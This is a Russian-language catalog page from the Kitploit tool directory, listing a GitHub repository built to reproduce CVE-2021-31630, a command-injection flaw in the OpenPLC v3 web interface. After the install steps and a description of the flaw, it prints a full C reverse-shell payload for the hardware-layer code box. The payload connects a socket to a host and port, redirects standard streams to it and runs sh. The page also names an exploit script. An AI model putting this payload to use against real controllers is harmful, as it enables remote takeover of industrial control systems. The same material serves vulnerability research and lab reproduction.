Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
OpenPLC_v3 — To reproduce CVE-2021-31630 | Kitploit
Инструменты/GitHubGitHub/tranquac/openplc_v3
Vulnerability AnalysisCode AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationCommand and Control
GitHubtranquac/openplc_v3

OpenPLC_v3

To reproduce CVE-2021-31630

Репозиторий
9 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

OpenPLC Runtime версия 3

Введение

Build Status Build status

OpenPLC — это программируемый логический контроллер с открытым исходным кодом, основанный на простом в использовании программном обеспечении. Мы стремимся предоставить недорогое промышленное решение для автоматизации и исследований. OpenPLC использовался во многих научных статьях в качестве среды для исследований в области промышленной кибербезопасности, поскольку это единственный контроллер, предоставляющий полный исходный код. Проект OpenPLC включает три подпроекта:

  1. Runtime
  2. Редактор программирования
  3. Построитель HMI

Установка

root@kitploit:~
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]

Где [platform] может быть:

win - Установить OpenPLC на Windows через Cygwin

linux - Установить OpenPLC на дистрибутив Linux на основе Debian

docker - Используется Dockerfile (т.е. не вызывает sudo)

rpi - Установить OpenPLC на Raspberry Pi

custom - Пропускает установку всех конкретных пакетов и пытается установить OpenPLC, предполагая, что ваша система уже имеет все зависимости. Эта опция может быть полезна, если вы пытаетесь установить OpenPLC на неподдерживаемую платформу Linux или вручную установили все зависимости заранее.

CVE-2021-31630

CVE-2021-31630 — это уязвимость типа code/command injection на веб-сервере OpenPLC (версия v3 широко используется сообществом). Ошибка находится в функции, позволяющей загружать/редактировать код в интерфейсе /hardware (Hardware Layer Code Box), где входные данные не фильтруются/санируются должным образом перед обработкой на стороне сервера, что приводит к возможности выполнения кода с правами процесса веб-сервера. Уязвимость была обнародована в 2021 году и имеет высокую степень серьезности в общедоступных базах данных уязвимостей.

Техническое описание (на уровне защиты): веб-интерфейс принимает фрагмент «hardware layer code», введенный пользователем. Эти данные затем обрабатываются серверными компонентами, которые могут компилировать/нормализовать или помещать в контекст команды без выполнения проверки, фильтрации специальных символов или строгих ограничений. При определенных условиях (например, данные добавляются в строку системной команды или напрямую передаются в функцию обработки кода) злоумышленник может вставить управляющие фрагменты, изменяющие поток выполнения.

root@kitploit:~
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

void initCustomLayer(){}

void updateCustomIn(){}

void updateCustomOut()
{
    int port = 1111;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;       
}

Эксплойт: cve-2021-31630.py

Скачать инструмент